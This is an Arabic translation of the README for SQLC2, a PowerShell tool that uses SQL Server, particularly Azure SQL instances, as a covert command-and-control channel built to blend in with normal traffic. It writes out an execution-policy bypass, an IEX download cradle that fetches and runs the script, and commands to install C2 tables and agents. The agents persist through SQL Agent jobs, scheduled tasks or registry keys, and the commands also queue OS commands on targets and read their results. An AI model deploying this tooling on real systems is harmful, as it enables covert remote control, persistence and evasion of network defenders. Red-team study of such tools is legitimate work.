
SQLC2 هو سكربت PowerShell لنشر وإدارة نظام قيادة وتحكم يستخدم SQL Server كخادم تحكم وكوكيل في آن واحد.
SQLC2 هو سكربت PowerShell لنشر وإدارة نظام أوامر وتحكم يستخدم SQL Server كخادم تحكم وكوكيل في الوقت نفسه. في جوهره، SQLC2 هو مجرد سكربت PowerShell، وسكربت TSQL، وعدد قليل من الجداول في مثيل SQL Server يتتبع الوكلاء والأوامر والنتائج. ليس شيئًا معقدًا للغاية، لكنه قد يكون مفيدًا في بعض المهام.
للحصول على نظرة أكثر اكتمالًا حول SQLC2، راجع المدونة على https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
المزيد من الشركات بدأت في استخدام قواعد بيانات Azure SQL Server. عندما يتم إنشاء مثيلات Azure SQL Server هذه، تصبح قابلة للوصول عبر نطاق فرعي من database.windows.net على المنفذ 1433. على سبيل المثال، يمكنني إنشاء مثيل SQL Server باسم "mysupersqlserver.database.windows.net". نتيجة لذلك، تسمح بعض إعدادات الشبكات المؤسسية بالوصول الصادر إلى أي نطاق فرعي من database.windows.net على المنفذ 1433.
الفكرة العامة هي أنه مع نمو اعتماد Azure SQL Server، ستكون هناك فرصة أكبر لاستخدام SQL Server كقناة تحكم تبدو إلى حد ما مثل حركة المرور العادية. SQLPS هو إثبات مفهوم أساسي إلى حد ما، لكنني أعتقد أنه عملي بما يكفي لتوضيح الفكرة. أعلم أن هناك عددًا لا بأس به من التحسينات التي يمكن إجراؤها، لكن إذا جربته، فسأحب أن أسمع ملاحظاتك.
على الرغم من التركيز على استخدام SQLC2 مع مثيلات Azure SQL Server، يمكنك استضافة SQL Server الخاص بك في أي بيئة سحابية وجعله يستمع على المنفذ 443 مع تمكين SSL. وبالتالي، يمكن أن يوفر مرونة أكبر قليلاً اعتمادًا على مقدار الجهد الذي ترغب في بذله.
الخيار 1: قم بتنزيل السكربت واستيراده. لا يتطلب ذلك صلاحيات إدارية وسيتم استيراده فقط في الجلسة الحالية. ومع ذلك، قد يتم حظره بواسطة سياسات تنفيذ مقيدة، لذا قد ترغب في استخدام خيار التجاوز.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
الخيار 2: قم بتحميله إلى جلسة عبر download cradle. لا يتطلب ذلك صلاحيات إدارية وسيتم استيراده فقط في الجلسة الحالية. لا ينبغي أن يتم حظره بواسطة سياسات التنفيذ.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
ملاحظة: لتشغيله كمستخدم مجال بديل، استخدم أمر runas لتشغيل PowerShell أولاً.
runas /noprofile /netonly /user:domain\user PowerShell.exe

فيما يلي قائمة بوظائف المستخدم التي تدعم سير العمل المقصود.
فيما يلي بعض النماذج من لقطات الشاشة.
تثبيت خادم SQLC2 (إنشاء الجداول):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

تثبيت وكيل SQLC2 (وظيفة وكيل SQL Server تستخدم ارتباط خادم):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

عرض وكلاء SQLC2:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

تعيين أمر لتنفيذه على الوكيل:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

الحصول على نتائج الأوامر:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| Function Name | Description |
|---|
| Install-SQLC2Server | تثبيت جداول SQLC2 على خادم SQL/قاعدة البيانات الهدف. |
| Install-SQLC2AgentPs | تثبيت وكيل يستخدم وظيفة وكيل SQL Server وارتباط الخادم. |
| Install-SQLC2AgentLink | تثبيت وكيل يستخدم مهمة مجدولة أو مفتاح تسجيل لتنفيذ أوامر PowerShell. |
| Set-SQLC2Command | تعيين أوامر نظام التشغيل للوكلاء لتنفيذها. |
| Get-SQLC2Command | الحصول على قائمة بأوامر نظام التشغيل المعلقة من C2 للوكيل. يمكنه أيضًا تنفيذ الأمر المعلق باستخدام علامة -Execute. |
| Get-SQLC2Agent | الحصول على قائمة بالوكلاء المسجلين على خادم SQLC2. |
| Get-SQLC2Result | الحصول على قائمة بالأوامر المعلقة والمكتملة. يدعم عوامل تصفية اسم الخادم والحالة وcid. |
| Remove-SQLC2Agent | إزالة الوكلاء المسجلين على SQLC2. يكتفي بمسح السجل. |
| Remove-SQLC2Command | إزالة سجل الأوامر على خادم SQLC2. |
| Uninstall-SQLC2AgentLink | إلغاء تثبيت وكيل SQLC2 الذي يستخدم ارتباطات الخادم ووظيفة وكيل. |
| Uninstall-SQLC2AgentPs | إلغاء تثبيت جميع طرق الثبات المستندة إلى نظام التشغيل. |
| Uninstall-SQLC2Server | إزالة جداول SQLC2 من قاعدة البيانات الهدف. |